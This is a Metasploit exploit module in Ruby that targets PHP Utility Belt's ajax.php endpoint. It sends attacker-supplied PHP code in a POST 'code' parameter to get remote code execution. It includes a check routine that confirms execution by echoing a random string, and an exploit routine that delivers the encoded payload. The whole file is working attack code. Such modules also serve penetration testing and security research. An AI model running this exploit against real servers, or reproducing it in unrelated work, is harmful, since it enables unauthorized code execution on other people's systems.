PHP Utility Belt Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PHP Utility Belt Remote Code Execution',
        'Description' => %q{
          This module exploits a remote code execution vulnerability in PHP Utility Belt,
          which is a set of tools for PHP developers and should not be installed in a
          production environment, since this application runs arbitrary PHP code as an
          intended functionality.
        },
        'Author' => [
          'WICS', # initial discovery
          'Jay Turla' # msf
        ],
        'References' => [
          ['EDB', '38901'],
          ['URL', 'https://github.com/mboynes/php-utility-belt'] # Official Repo
        ],
        'DisclosureDate' => '2015-12-08',
        'License' => MSF_LICENSE,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Privileged' => false,
        'Payload' => {
          'Space' => 2000,
          'DisableNops' => true
        },
        'Targets' => [
          ['PHP Utility Belt', {}]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt', '/php-utility-belt/ajax.php'])
      ]
    )
  end

  def check
    txt = Rex::Text.rand_text_alpha(8)
    res = http_send_command("echo #{txt};")

    if res && res.body.include?(txt)
      Exploit::CheckCode::Vulnerable('Successfully verified arbitrary PHP code execution')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def exploit
    http_send_command(payload.encoded)
  end

  def http_send_command(cmd)
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'vars_post' => {
        'code' => cmd
      }
    )
  end
end